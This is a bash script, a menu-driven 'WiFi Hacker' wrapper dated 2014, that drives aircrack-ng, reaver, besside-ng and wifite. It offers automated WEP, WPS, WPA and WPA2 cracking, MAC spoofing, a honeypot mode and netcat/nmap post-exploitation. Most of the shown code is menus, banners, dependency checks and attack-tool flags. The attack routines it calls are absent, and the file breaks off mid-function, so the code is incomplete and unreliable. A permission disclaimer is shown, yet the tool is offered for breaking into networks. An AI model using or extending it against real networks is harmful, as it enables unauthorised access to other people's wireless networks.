#!/bin/bash


############################################################################
#   CREDITS BEGIN   ########################################################
############################################################################


# WiFi Hacker v1.2
# esc0rtd3w 2014 / crackacademy.com

# Uses parts of the aircrack-ng suite, reaver, wifite, and many other tools


############################################################################
#   CREDITS END   ##########################################################
############################################################################





############################################################################
#   VERSION HISTORY BEGIN   ################################################
############################################################################


# v1.2
# - Fixed the top text of disclaimer banner from being cut off.

# v1.1
# - Now globally enforcing disconnection from any active network upon agreement of disclaimer to resolve "Channel Hopping" issues. This must be done for all attacks to work properly.
# - Added "HoneyPot Mode" to main toolbar. The hotkey is "Z" to launch from anywhere in script. There is currently support for airbase-ng and wifi-honey.
# - Fixed "Negative One Channel Error" occuring in airodump-ng on Kali Linux 1.0.6 and higher. This is fixed globally and should work on all platforms.
# - Added "Start NetworkManager", "Stop NetworkManager", "Stop wpa_supplicant", "Stop wpa_cli", "Enable Channel Hopping", and "Disable Channel Hopping" to Extras menu.
# - Enabled the Advanced Menu. Also enabled the hotkey "A" to launch it. Future releases will contain highly configurable settings for supported apps and modules.
# - Added support for nmap and netcat, for use during post exploitation.
# - Fixed some $bssid and $essid variable errors in WEP attacks. 
# - Fixed airodump window not closing if using load session hotkey during victim info, and then returning to the post monitor mode menu.
# - Fixed a bug where the post monitor mode screen would still load if no encryption type was selected. If the encryption type is empty, it will now return to the main menu.
# - Updated on-screen instructions for using the airdump windows and other terminal windows that are opened during target/victim setup.
# - Fixed network connection not refreshing the correct status when returning to the main menu if the network status has changed while still on the menu.
# - Added a second check to verify that no active network connection is present before launching an attack.
# - Moved autoMode text towards the top of the post monitor mode initiation screen to be more easily visible to the user.
# - Added support for post-exploitation attacks after a target has been compromised.
# - Added support for "wifite". This is used for some of the newer automated attack modes as well as an alternate option to aircrack-suite if desired.
# - Added Auto Attack Mode to the main menu. This option uses wifite to scan and attack any vulnerable network.
# - Changed some text around on some items to be more clear and understandable.
# - Added Auto modes for each attack type when selected. Once an encryption type is selected, you can type "autowep, autowps, autowpa, and autowpa2 respectively to automate the attack.
# - Fixed a few $lastMenuID variables not properly set for menu navigation.
# - Added a wifite window alongside the aircrack window when selecting WPS attacks, to help decipher which targets support WPS more easily.

# v1.0
# - Activated the disclaimer when launching the script to make sure everyone knows the rules ;)
# - Added "checkRootStatus" to verify elevated privileges before launching main menu.
# - Fixed a few typos throughout the script.
# - Added Connection display to main menu. A status of "0" is disconnected and "1" is connected.
# - Added connection status check before allowing an attack mode to be selected. This prevents trying to start an attack and being locked into a channel and other abnormalities.
# - Added text display variables for connection status. They can be displayed as "None" or "Wifi", depending on if connection status is 0 or 1.

# v0.9
# - Removed the writeDCrackPy() function. This was used to write the Python script dcrack.py out to a file.

# v0.8
# - Added support for besside-ng. Used for cracking WPA/WPA2 passwords,and upload to cloud cracking,
# - Fixed the aircrack window from closing after running dictionary attack.
# - Added checkDependencies() function to check for all required files before loading main menu.
# - Fixed the Navigation Bar from not showing up on the Help menu.
# - Fixed the aircrack window from not closing when restarting WPA/WPA2 attacks.
# - Fixed Help and Advanced menus not returning to the last page when trying to go back.

# v0.7
# - Fixed WEP aircrack errors with ESSID names that have spaces in them.
# - Fixed Terminal Options not returning to previous menu properly.
# - Cleaned up some old code that is no longer being used or referenced.
# - Fixed reaver WPC files not getting copied correctly.
# - Now copies all WPC files during reaver startup, and overwrites current WPC file after reaver session ends.

# v0.6
# - Added time and date stamp to all $encryptionType.sessions log files.
# - The "Clean Capture Files" option now only removes files in the init directory, not sessions directory.
# - Fixed bug not returning back to Extras menu after selected task has been completed.
# - All created files will now be saved to the "/sessions/$encryptionType" directory by default.
# - Added getCurrentDate() and getCurrentTime() functions to use with sessions and backups.
# - Added Backup options to Extras menu. This creates a zip file with all saved sessions and capture files.
# - Added "*.kismit.csv" and "*.kismit.netxml" files to "Cleanup Capture Files" menu under Extras.
# - Changed all references from $currentTask to $lastMenuID because of menu navigation issues.
# - Added a new variable called $lastMenuID for (hopefully) proper navigation between menus.
# - Moved code for checking MAC Spoof Status into a checkSpoofStatus() function. Can now be used globally.
# - Fixed a typo in Load Session function.
# - Updated sessions save folder and organized by encrytion type.
# - Added saving reaver session WPC files to default sessions folder.

# v0.5
# - Fixed WEP attack. It wasn't being properly redirected after the last v0.4 update.
# - All attack modes re-tested and seem to be working fine.
# - Added a check for empty encryption type to prevent doing certain tasks if no type has yet been selected.
# - Updated Save and Load session menu. It does not work properly from some menus. Still in testing.

# v0.4
# - Moved all initialization functions and variables to initMain(). This is only for "code cleanliness".
# - Updated aircrack and airodump redirection based on the encryption type of the attack.
# - Added "Clean Session Files" to Extras menu. Be careful with this and be sure to keep backups.
# - Fixed not being able to return to attacks menu from Save and Load session for WEP attacks.
# - Added a $currentTask variable to change dynamically depending on what function is being executed.
# - Moved aircrack windows for WPA and WPA2 attacks to external terminal windows.
# - Fixed not being able to leave aircrack window while running WPA and WPA2 attacks.

# v0.3
# - Updated WPA and WPA2 attack modes. Both are fully working and can load custom wordlists.
# - Added the ability to change terminals under Extras menu. Supports Gnome, Konsole, Xterm, and Custom.
# - Fixed blank session files being written when no encryption type has yet been selected.
# - Added a disclaimer that must be accepted before launching main menu (currently disabled).
# - Fixed both WPA and WPA2 from not writing proper values to "$capturePath/$encryptionType/$encryptionType.sessions" log file.
# - Fixed a bug in WPA/WPA2 that prevented returning to main menu or exiting from wordlist page.
# - Updated some on-screen text when deauth station is running for WEP, WPA, and WPA2.
# - Removed Auto mode from top banner, its now defaulted after choosing encryption type.

# v0.2
# - Fixed WEP and WPS (reaver) attacks. Both are fully working now!
# - Each attack type writes to its own log file now ("$capturePath/$encryptionType/$encryptionType.sessions").
# - Cleaned up some old migrated code from previous scripts.

# v0.1
# - Initial version. Combined other current wifi scripts into one.


############################################################################
#   VERSION HISTORY END   ##################################################
############################################################################





############################################################################
#   TO DO LIST BEGIN   #####################################################
############################################################################


# Add change options on the fly for WPS and other attack modes
# Add bully support for WPS attacks
# Add cowpatty support for WPA/WPA2 attacks
# Fix "-1" channel error
# Set an "ok so far" variable to wifi hacker for seeing if all dependencies are available
# Set default $serverWPA veriable to some value other than blank
# Add sniffing/wireshark support
# Add support for packetforge-ng
# Add support for airbase-ng
# Create separate handshake file with an appropriate filename
# Add "create wordlist" for phone numbers and possibly others. Add option for local
# Add checks and copy files created by besside to appropriate directories
# Add convert to .hccap support for ocl-hashcat and other compatible software
# Get sessions loading and saving from *.sessions files
# Get advanced mode working
# Get help menu working


# Post-Exploitation Attacks To Add

# driftnet
# nmap
# wifi-honey


############################################################################
#   TO DO LIST END   #######################################################
############################################################################





############################################################################
#   INITIALIZATION OPTIONS BEGIN   #########################################
############################################################################


initMain(){

killAll
#startNetworkManager

getCurrentDate
getCurrentTime
getCurrentDateAndTime

setDependencies
checkDependencies

resizeWindow
setVariables
setVariablesRequired
setVariablesOptional
setVariablesAdvanced

setDefaults

setDefaultsWEP
setDefaultsWPA
setDefaultsWPA2
setDefaultsWPS

setDefaultSession


# Optionally show dependencies before launch
#showDependencies

# Optionally Show Disclaimer Before Launch
showDisclaimer

# Optionally Show Unreleased Text Before Launch
#isUnreleased

# Load Main Menu
menuMain

}


############################################################################
#   INITIALIZATION OPTIONS END   ###########################################
############################################################################





############################################################################
#   DEPENDENCY OPTIONS BEGIN   #############################################
############################################################################


setDependencies(){

pathAircrack="/usr/bin/aircrack-ng"
pathAirodump="/usr/sbin/airodump-ng"
pathBesside="/usr/sbin/besside-ng"
pathCut="/usr/bin/cut"
pathDate="/bin/date"
pathGrep="/bin/grep"
pathHead="/usr/bin/head"
pathLink="/usr/bin/link"
pathMacchanger="/usr/bin/macchanger"
pathMkdir="/bin/mkdir"
pathReaver="/usr/bin/reaver"
pathRmdir="/bin/rmdir"
pathSed="/bin/sed"
pathSleep="/bin/sleep"
pathTail="/usr/bin/tail"

}


checkDependencies(){

if [ -f $pathAircrack ];
then
   statusPathAircrack="OK"
else
   statusPathAircrack="NA"
fi

if [ -f $pathAirodump ];
then
   statusPathAirodump="OK"
else
   statusPathAirodump="NA"
fi

if [ -f $pathBesside ];
then
   statusPathBesside="OK"
else
   statusPathBesside="NA"
fi

if [ -f $pathCut ];
then
   statusPathCut="OK"
else
   statusPathCut="NA"
fi

if [ -f $pathDate ];
then
   statusPathDate="OK"
else
   statusPathDate="NA"
fi

if [ -f $pathGrep ];
then
   statusPathGrep="OK"
else
   statusPathGrep="NA"
fi

if [ -f $pathHead ];
then
   statusPathHead="OK"
else
   statusPathHead="NA"
fi

if [ -f $pathLink ];
then
   statusPathLink="OK"
else
   statusPathLink="NA"
fi

if [ -f $pathMacchanger ];
then
   statusPathMacchanger="OK"
else
   statusPathMacchanger="NA"
fi

if [ -f $pathMkdir ];
then
   statusPathMkdir="OK"
else
   statusPathMkdir="NA"
fi

if [ -f $pathReaver ];
then
   statusPathReaver="OK"
else
   statusPathReaver="NA"
fi

if [ -f $pathRmdir ];
then
   statusPathRmdir="OK"
else
   statusPathRmdir="NA"
fi

if [ -f $pathSed ];
then
   statusPathSed="OK"
else
   statusPathSed="NA"
fi

if [ -f $pathSleep ];
then
   statusPathSleep="OK"
else
   statusPathSleep="NA"
fi

if [ -f $pathTail ];
then
   statusPathTail="OK"
else
   statusPathTail="NA"
fi

}


downloadDependencies(){

blank=""

}


showDependencies(){

banner
bannerStats

echo ""
echo "List of File Dependencies Needed"
echo ""
echo "$pathAircrack - Status: $statusPathAircrack"
echo "$pathAirodump - Status: $statusPathAirodump"
echo "$pathBesside - Status: $statusPathBesside"
echo "$pathCut - Status: $statusPathCut"
echo "$pathDate - Status: $statusPathDate"
echo "$pathGrep - Status: $statusPathGrep"
echo "$pathHead - Status: $statusPathHead"
echo "$pathLink - Status: $statusPathLink"
echo "$pathMacchanger - Status: $statusPathMacchanger"
echo "$pathMkdir - Status: $statusPathMkdir"
echo "$pathReaver - Status: $statusPathReaver"
echo "$pathRmdir - Status: $statusPathRmdir"
echo "$pathSed - Status: $statusPathSed"
echo "$pathSleep - Status: $statusPathSleep"
echo "$pathTail - Status: $statusPathTail"
echo ""
echo ""

echo "Press ENTER to continue...."

read pause

}


############################################################################
#   DEPENDENCY OPTIONS END   ###############################################
############################################################################





############################################################################
#   TERMINAL OPTIONS BEGIN   ###############################################
############################################################################


setWindowTitle(){

currentTask="setWindowTitle"

title='echo -ne "\033]0;WiFi Hacker v1.2\007"'

$title

}


resizeWindow(){

currentTask="resizeWindow"

printf '\033[8;32;115t'

}


setVariables(){

currentTask="setVariables"

terminal="gnome-terminal -x"
terminalGnome="gnome-terminal -x"
terminalKonsole="konsole -e"
terminalXterm="xterm -e"

bin=""
startMonitorMode="airmon-ng start"
stopMonitorMode="airmon-ng stop"

getRandomMacAddress=""
spoofStatus="0"

encryptionType="empty"
encryptionTypeText="Empty"

ipStatus="0"

}


############################################################################
#   TERMINAL OPTIONS END   #################################################
############################################################################





############################################################################
#   DEFAULT VARIABLES BEGIN   ##############################################
############################################################################


setVariablesRequired(){

currentTask="setVariablesRequired"

interface=""
interfaceMonitor=""
bssid=""
essid=""
channel=""

}


setVariablesOptional(){

currentTask="setVariablesOptional"

blank=""

}


setVariablesAdvanced(){

currentTask="setVariablesAdvanced"

blank=""

}


setDefaults(){

currentTask="setDefaults"

versionBase="v1.2"

initPath="$PWD"

}


setDefaultsWEP(){

currentTask="setDefaultsWEP"

# aircrack-ng cracking mode WEP
acMode="1"

# aircrack-ng cracking mode WEP (WPA-PSK)
#acMode="2"

}


setDefaultsWPA(){

currentTask="setDefaultsWPA"

wordlist="darkc0de.lst"

retryDeauth="0"

serverWPA=""

}


setDefaultsWPA2(){

currentTask="setDefaultsWPA2"

}


setDefaultsWPS(){

currentTask="setDefaultsWPS"

reaver="reaver"

reaverSessionPath="/etc/reaver"
bssidCharOnly=""

reaverInterfaceInput=""
reaverBSSIDInput=""

reaverChannelInput=""
reaverESSIDInput=""
reaverExecInput=""
reaverMACInput=""
reaverOutfileInput=""
reaverSessionInput=""

reaverDelayInput=""
reaverFailWaitInput=""
reaverM57TimeoutInput=""
reaverMaxAttemptsInput=""
reaverPinInput=""
reaverTimeoutInput=""

reaverDelay="--delay="
reaverDHSmall="--dh-small"
reaverEAPTerminate="--eap-terminate"
reaverFailWait="--fail-wait="
reaverIgnoreLocks="--ignore-locks"
reaverM57Timeout="--m57-timeout="
reaverMaxAttempts="--max-attempts="
reaverNack="--nack"
reaverNoAssociate="--no-associate"
reaverNoNacks="--no-nacks"
reaverPin="--pin="
reaverRecurringDelay="--recurring-delay"
reaverTimeout="--timeout="
reaverWin7False="--win7"

reaver5ghz="--5ghz"
reaverAuto="--auto"
reaverChannel="--channel="
reaverDaemonize="--daemonize"
reaverESSID="--essid="
reaverExec="--exec="
reaverFixed="--fixed"
reaverHelp="--help"
reaverMAC="--mac="
reaverOutfile="--out-file="
reaverQuiet="--quiet"
reaverSession="--session="
reaverVerbose="-v"
reaverVerboseMore="-vv"


wifite="wifite"
wifiteAttackAll="wifite -all"
wifiteAttackWEP="wifite -wep"
wifiteAttackWPA="wifite -wpa"
wifiteAttackWPA2="wifite -wpa"
wifiteAttackWPS="wifite -wps"



}


setDefaultSession(){

currentTask="setDefaultSession"

sessionID="0"

capturePath=$(echo "$PWD/sessions")
capturePathWEP=$(echo "$PWD/sessions/wep")
capturePathWPS=$(echo "$PWD/sessions/wps")
capturePathWPA=$(echo "$PWD/sessions/wpa")
capturePathWPA2=$(echo "$PWD/sessions/wpa2")

}


setVariablesPostExploitation(){

blank=""

}


############################################################################
#   DEFAULT VARIABLES END   ################################################
############################################################################





############################################################################
#   DISCLAIMER BEGIN   #####################################################
############################################################################


showDisclaimer(){

currentTask="showDisclaimer"
lastMenuID="showDisclaimer"

sessionCreatePaths
sessionRemoveEmpty

bannerMenu

echo ""
echo "**********************************************************"
echo "YOU MUST AGREE TO THESE TERMS BEFORE USING THIS SOFTWARE!"
echo "**********************************************************"
echo ""
echo "By using this script, you are agreeing to the following terms:"
echo ""
echo "1) THIS WILL TERMINATE ANY ACTIVE INTERNET CONNECTION! IF YOU HAVE ISSUES CONNECTING TO THE INTERNET"
echo "   AFTER AN ATTACK HAS BEEN PERFORMED, USE THE EXTRAS OPTION IN TOOLBAR TO START AND STOP SERVICES."
echo "   IF THIS DOES NOT WORK, THEN YOU CAN RESTART THIS SCRIPT, OR REBOOT THE MACHINE AND RETURN TO NORMAL."
echo ""
echo "2) Not to be used for attacking access points that you do not have permission to test"
echo ""
echo "3) Stay within legal limits of transmission power"
echo ""
echo "4) Stay within legal limits of channel usage, depending on your country laws"
echo ""
echo "**********************************************************"
echo "YOU MUST AGREE TO THESE TERMS BEFORE USING THIS SOFTWARE!"
echo "**********************************************************"
echo ""
echo ""
echo "PLEASE PRESS "\""Y"\"" AND ENTER TO ACCEPT AND CONTINUE"
echo ""

read agreeToDisclaimer

case "$agreeToDisclaimer" in

"")
bannerExit
;;

"Y" | "y")
fixNegativeOneChannelError
startNetworkManager
#killNetworkManager
#killWpaSupplicant
#initMonitorMode
menuMain
;;

*)
bannerExit
;;

esac

}


############################################################################
#   DISCLAIMER END   #######################################################
############################################################################





############################################################################
#   BANNERS BEGIN   ########################################################
############################################################################


banner(){

setWindowTitle

currentTask="banner"

clear

echo "---------------------    ****************************************************************    ----------------------"
echo "|  [M] Main Menu    |    * WiFi Hacking Script $versionBase / esc0rtd3w 2014 / crackacademy.com *    | [X] Exit           |"
echo "---------------------    ****************************************************************    ----------------------"
echo "-------------------------------------------------------------------------------------------------------------------"
echo "| Connection: $ipStatus  |  [A] Advanced  |  [Z] HoneyPot Mode  |  Sessions: [S] Save  [L] Load  |  [E] Extras  [H] Help  |"
echo "-------------------------------------------------------------------------------------------------------------------"
#echo ""

}


bannerNoMenu(){

currentTask="bannerNoMenu"

setWindowTitle

clear

echo "---------------------    ****************************************************************    ----------------------"
echo "|  [ CTRL+C ] Main  |    * WiFi Hacking Script $versionBase / esc0rtd3w 2014 / crackacademy.com *    | [CTRL+C x2 ] Exit  |"
echo "---------------------    ****************************************************************    ----------------------"
echo "-------------------------------------------------------------------------------------------------------------------"
echo "| Connection: $ipStatus  |  [A] Advanced  |  [Z] HoneyPot Mode  |  Sessions: [S] Save  [L] Load  |  [E] Extras  [H] Help  |"
echo "-------------------------------------------------------------------------------------------------------------------"
#echo ""

}


bannerMain(){

currentTask="bannerMain"

setWindowTitle

clear

echo "---------------------    ****************************************************************    ----------------------"
echo "|  [ ]              |    * WiFi Hacking Script $versionBase / esc0rtd3w 2014 / crackacademy.com *    | [CTRL+C    ] Exit  |"
echo "---------------------    ****************************************************************    ----------------------"
echo "-------------------------------------------------------------------------------------------------------------------"
echo "| Connection: $ipStatus  |  [A] Advanced  |  [Z] HoneyPot Mode  |  Sessions: [S] Save  [L] Load  |  [E] Extras  [H] Help  |"
echo "-------------------------------------------------------------------------------------------------------------------"
#echo ""

}

bannerMenu(){

currentTask="bannerMenu"

setWindowTitle

clear

echo "---------------------    ****************************************************************    ----------------------"
echo "|  [ ]              |    * WiFi Hacking Script $versionBase / esc0rtd3w 2014 / crackacademy.com *    | [CTRL+C    ] Exit  |"
echo "---------------------    ****************************************************************    ----------------------"
echo "-------------------------------------------------------------------------------------------------------------------"
echo "| Connection: $ipStatus  |  [A] Advanced  |  [Z] HoneyPot Mode  |  Sessions: [S] Save  [L] Load  |  [E] Extras  [H] Help  |"
echo "-------------------------------------------------------------------------------------------------------------------"
#echo ""

}


bannerStats(){

currentTask="bannerStats"

echo "-------------------------------------------------------------------------------------------------------------------"
echo "Interface: $interfaceMonitor / MAC: $macAddressMonitor / ESSID: $essid / BSSID: $bssid / Channel: $channel"
echo "-------------------------------------------------------------------------------------------------------------------"
echo ""

}

bannerExit(){

currentTask="bannerExit"

sessionWriteEndCurrent

sessionRemoveEmpty

NetworkManager

enableChannelHopping

clear
echo "Thank You For Playing Fair ;)"
echo ""
echo "esc0rtd3w 2014 / crackacademy.com"
echo ""
echo ""

exit

}


############################################################################
#   BANNERS END   ##########################################################
############################################################################





############################################################################
#   GLOBAL TEXT BEGIN   ####################################################
############################################################################


doSleepMessage(){

currentTask="doSleepMessage"

banner
bannerStats
echo "$sleepMessage"

}


############################################################################
#   GLOBAL TEXT END   ######################################################
############################################################################





############################################################################
#   OTHER MISC STUFF BEGIN   ###############################################
############################################################################


checkRootStatus(){

userPriv=none

isRoot=$(whoami | grep root)

#echo "$isRoot"

case "$isRoot" in

"root")
userPriv=root

esac

if [ "$userPriv" != "root" ]; then
noRootAccess
fi

}



noRootAccess(){

banner
bannerStats

echo "Yikes! No Root Access!"
echo ""
echo ""
echo "I Currently Have Nothing Scripted To Handle This :("
echo ""
echo "Please login as a root user and try again!"
echo ""
echo ""
echo "Press ENTER to exit this script...."
echo ""
echo ""

read pause


bannerExit

}


checkConnectionStatus(){

ipStatus="0"
ipStatusText="None"

ipStatusTemp=$(ping -c 1 google.com | grep "1 received")

ipStatus=$(echo "$ipStatusTemp" | cut -c1)


case "$ipStatus" in

"1")
ipStatus="1"
ipStatusText="Wifi"
;;

esac

case "$ipStatusText" in

"None")
ipStatus="0"
;;

esac

#echo "$ipStatusText"

#read pause

}


checkWifiandDisplayMessage(){

case "$ipStatusText" in

"m"|"M")
menuMain
;;

"A" | "a")
menuAdvanced
;;

"S" | "s")
checkForEmptyEncrytionType

case "$bssid" in

"")
menuMain
;;

esac

if [ "$bssid" != "" ]; then
menuSessionSave
fi
;;

"L" | "l")
checkForEmptyEncrytionType

#case "$bssid" in

#"")
#menuMain
#;;

#esac

#if [ "$bssid" != "" ]; then
menuSessionLoad
#fi
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

"Wifi")
banner
echo ""
echo "YOU MUST DISCONNECT FROM WIFI BEFORE CONTINUING!!!!"
echo ""
echo ""
echo "PRESS ENTER TO RETURN TO MAIN MENU...."
echo ""
echo ""

read pause

menuMain
;;

esac

}

isUnreleased(){

currentTask="isUnreleased"
lastMenuID="isUnreleased"

sessionCreatePaths
sessionRemoveEmpty

bannerMenu

echo ""
echo "**********************************************************"
echo "YOU MUST AGREE TO THESE TERMS BEFORE USING THIS SOFTWARE!"
echo "**********************************************************"
echo ""
echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
echo "***THIS IS UNRELEASED AND SHOULD BE CONSIDERED A TEST VERSION***"
echo ""
echo "**********************************************************"
echo "YOU MUST AGREE TO THESE TERMS BEFORE USING THIS SOFTWARE!"
echo "**********************************************************"
echo ""
echo ""
echo ""
echo "PLEASE PRESS "\""Y"\"" AND ENTER TO ACCEPT AND CONTINUE"
echo ""
echo ""

read agreeToDisclaimer

case "$agreeToDisclaimer" in

"")
bannerExit
;;

"Y" | "y")
fixNegativeOneChannelError
startNetworkManager
#killNetworkManager
#killWpaSupplicant
#initMonitorMode
menuMain
;;

*)
bannerExit
;;

esac

}


############################################################################
#   OTHER MISC STUFF END   #################################################
############################################################################





############################################################################
#   MENUS: MAIN BEGIN   ####################################################
############################################################################


menuMain(){


currentTask="menuMain"
lastMenuID="menuMain"

checkRootStatus
sessionCreatePaths
sessionRemoveEmpty

# This double call to the below function fixes an issue with the ipStatusText not refreshing when returning to main menu from any option
checkConnectionStatus
checkConnectionStatus

banner

echo ""
#echo "Welcome to the WiFi Hacker script!"
echo "Compatible with all WEP/WPA/WPA2/WPS protected WiFi routers."
echo ""
echo "**********************************************************************"
echo "YOU MUST DISCONNECT FROM ANY WIRELESS CONNECTIONS BEFORE CONTINUING!!!"
echo "**********************************************************************"
echo ""
echo "You are currently connected to: $ipStatusText"
echo ""
echo ""
echo "0) Full Automatic Mode (Applies To All Encryption Types)"
echo ""
echo "1) WEP Mode (Commands can be executed from a menu to easily circumvent any WEP connection)"
echo ""
echo "2) WPS Mode (May also have WPA, WPA2, or WEP displayed. Ignore this, as it has no effect on success rate)"
echo ""
echo "3) WPA Mode (Capture 4-way handshake, dictionary attack, bruteforce and others, VERY LOW SUCCESS RATE)"
echo ""
echo "4) WPA2 Mode (Almost identical to WPA attacks. This mode also carries a VERY LOW SUCCESS RATE)"
echo ""
echo ""
echo ""
echo "Select a mode from above and press Enter:"
echo ""

read getMode


case "$getMode" in

"0")
checkConnectionStatus
checkWifiandDisplayMessage
menuAttacksAllWifiteAuto
menuMain
;;

"1")
checkConnectionStatus
checkWifiandDisplayMessage
mkdir $capturePathWEP
encryptionType="wep"
encryptionTypeText="WEP"
checkSpoofStatus
menuAuto
;;

"2")
checkConnectionStatus
checkWifiandDisplayMessage
mkdir $capturePathWPS
encryptionType="wps"
encryptionTypeText="WPS"
checkSpoofStatus
menuAuto
;;

"3")
checkConnectionStatus
checkWifiandDisplayMessage
mkdir $capturePathWPA
encryptionType="wpa"
encryptionTypeText="WPA"
checkSpoofStatus
menuAuto
;;

"4")
checkConnectionStatus
checkWifiandDisplayMessage
mkdir $capturePathWPA2
encryptionType="wpa2"
encryptionTypeText="WPA2"
checkSpoofStatus
menuAuto
;;

"")
menuMain
;;

"M" | "m")
menuMain
;;

"A" | "a")
menuAdvanced
;;

"S" | "s")
checkForEmptyEncrytionType

case "$bssid" in

"")
menuMain
;;

esac

if [ "$bssid" != "" ]; then
menuSessionSave
fi
;;

"L" | "l")
checkForEmptyEncrytionType

#case "$bssid" in

#"")
#menuMain
#;;

#esac

#if [ "$bssid" != "" ]; then
menuSessionLoad
#fi
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

*)
menuMain
;;

esac

}


menuAuto(){

currentTask="menuAuto"
lastMenuID="menuAuto"

case "$encryptionTypeText" in

"Empty")
menuMain
;;

esac

#sessionCopyNewCaptureFiles
sessionRemoveEmpty

banner
bannerStats

echo ""
echo "You are ready to begin the $encryptionTypeText attack!"
echo ""

case "$encryptionTypeText" in
"WEP")
echo "To perform a fully automated attack, type AUTOWEP end press ENTER"
;;
esac

case "$encryptionTypeText" in
"WPS")
echo "To perform a fully automated attack, type AUTOWPS end press ENTER"
;;
esac

case "$encryptionTypeText" in
"WPA")
echo "To perform a fully automated attack, type AUTOWPA end press ENTER"
;;
esac

case "$encryptionTypeText" in
"WPA2")
echo "To perform a fully automated attack, type AUTOWPA2 end press ENTER"
;;
esac

echo ""
echo "YOU MAY NOW OPTIONALLY PRESS THE "\""W"\"" KEY ON KEYBOARD TO YOUR SPOOF MAC ADDRESS"
echo ""
echo ""
echo ""
echo "The next step will run an airodump-ng session in a new window."
echo ""
echo "Once you enter all required info, the new window will be closed"
echo ""
echo ""
echo ""
echo "Press ENTER to clear the current session and select a victim...."
echo ""
echo "YOU MAY ALSO PRESS THE "\""P"\"" KEY ON KEYBOARD TO LOAD PREVIOUS SESSION"
echo ""

read readyForAirodumpScan

case "$readyForAirodumpScan" in

"")
killAll
checkForEmptyEncrytionType
autoModeNoPreviousSession
;;

"P" | "p")
checkForEmptyEncrytionType

checkForEmptyBSSID
checkForEmptyESSID
checkForEmptyChannel

autoModeUsePreviousSession
;;

"W" | "w")
spoofMacAddress
menuAuto
;;

"M" | "m")
spoofStatus="0"
killAll
stopMonitorMode
menuMain
;;

"A" | "a")
menuAdvanced
;;

"S" | "s")
checkForEmptyEncrytionType

case "$bssid" in

"")
menuMain
;;

esac

if [ "$bssid" != "" ]; then
menuSessionSave
fi
;;

"L" | "l")
checkForEmptyEncrytionType

#case "$bssid" in

#"")
#menuMain
#;;

#esac

#if [ "$bssid" != "" ]; then
menuSessionLoad
#fi
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

"autowep" | "AUTOWEP" | "AutoWEP" | "AutoWep" | "autoWEP" | "autoWep")
menuAttacksWEPWifiteAuto
;;

"autowps" | "AUTOWPS" | "AutoWPS" | "AutoWps" | "autoWPS" | "autoWps")
menuAttacksWPSWifiteAuto
;;

"autowpa" | "AUTOWPA" | "AutoWPA" | "AutoWpa" | "autoWPA" | "autoWpa")
menuAttacksWPAWifiteAuto
;;

"autowpa2" | "AUTOWPA2" | "AutoWPA2" | "AutoWpa2" | "autoWPA2" | "autoWpa2")
menuAttacksWPA2WifiteAuto
;;

*)

menuAuto

;;

esac

#restartProcesses

menuMain

}


menuAdvanced(){

currentTask="menuAdvanced"
#lastMenuID="menuAdvanced"

interface="None"

banner
bannerStats

echo ""
echo "SORRY I GOT LAZY AND NEVER CODED THIS MENU"
echo "WILL BE AVAILABLE SOOOOOOOOOON!"
echo ""
echo ""
echo "Advanced Menu"
echo ""
echo ""
echo "1) Monitor Mode Options"
echo ""
echo "2) "
echo ""
echo ""
echo ""
echo ""
echo ""
echo ""
echo ""
echo ""
echo ""
echo "Select an option and press ENTER:"
echo ""
echo ""

read getAdvancedOptionMain

case "$getAdvancedOptionMain" in

"")
$lastMenuID
#menuMain
#menuAdvanced
;;

"M" | "m")
killAll
stopMonitorMode
menuMain
;;

"A" | "a")
menuAdvanced
;;

"S" | "s")
menuSessionSave
;;

"L" | "l")
menuSessionLoad
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

*)
$lastMenuID
#menuMain
#menuAdvanced
;;

esac

#restartProcesses

$lastMenuID

}


menuExtras(){

currentTask="menuExtras"
#lastMenuID="menuExtras"

banner
bannerStats

echo ""
echo "1) Backup All Sessions and Capture Files (Full Backup of all saved files to ZIP file)"
echo "2) Clean Capture Files (Removes all saved .cap, .xor, .ivs, .csv, and .netxml files)"
echo "3) Clean Session Files (Removes all saved WEP, WPS, WPA, WPA2 *.sessions files)"
echo ""
echo "4) Change Active Terminal (Switch between Gnome, Konsole, X-Term, and User Selected)"
echo ""
echo "5) Start NetworkManager"
echo "6) Stop NetworkManager"
echo "7) Stop wpa_supplicant"
echo "8) Stop wpa_cli"
echo "9) Enable Channel Hopping On $interface"
echo "0) Disable Channel Hopping On $interface"
echo ""
echo "R) Return To Previous Menu"
echo ""
echo ""
echo "Select an option from above and press ENTER:"
echo ""
echo ""

read getExtras

case "$getExtras" in

"")
menuExtras
;;

"1")
backupSessionFiles
;;

"2")
cleanCaptureFiles
;;

"3")
cleanSessionFiles
;;

"4")
menuChangeTerminal
;;

"5")
startNetworkManager
;;

"6")
killNetworkManager
;;

"7")
wpa_supplicant stop
;;

"8")
wpa_cli terminate
;;

"9")
enableChannelHopping
;;

"0")
disableChannelHopping
;;

"r" | "R")
$lastMenuID
;;

"M" | "m")
menuMain
;;

"A" | "a")
menuAdvanced
;;

"S" | "s")
menuSessionSave
;;

"L" | "l")
menuSessionLoad
;;

"Z" | "z")
menuHoneyPotMode
;;

"H" | "h")
menuHelp
;;

"E" | "e")
menuExtras
;;

"X" | "x")
killAll
stopMonitorMode
bannerExit
;;

*)
menuExtras
;;

esac

menuExtras

}


menuHelp(){

currentTask="menuHelp"
#lastMenuID="menuHelp"

banner
bannerStats

echo ""
echo "*******************************************"
echo "CURENTLY NOT WORKING!!!"
echo ""
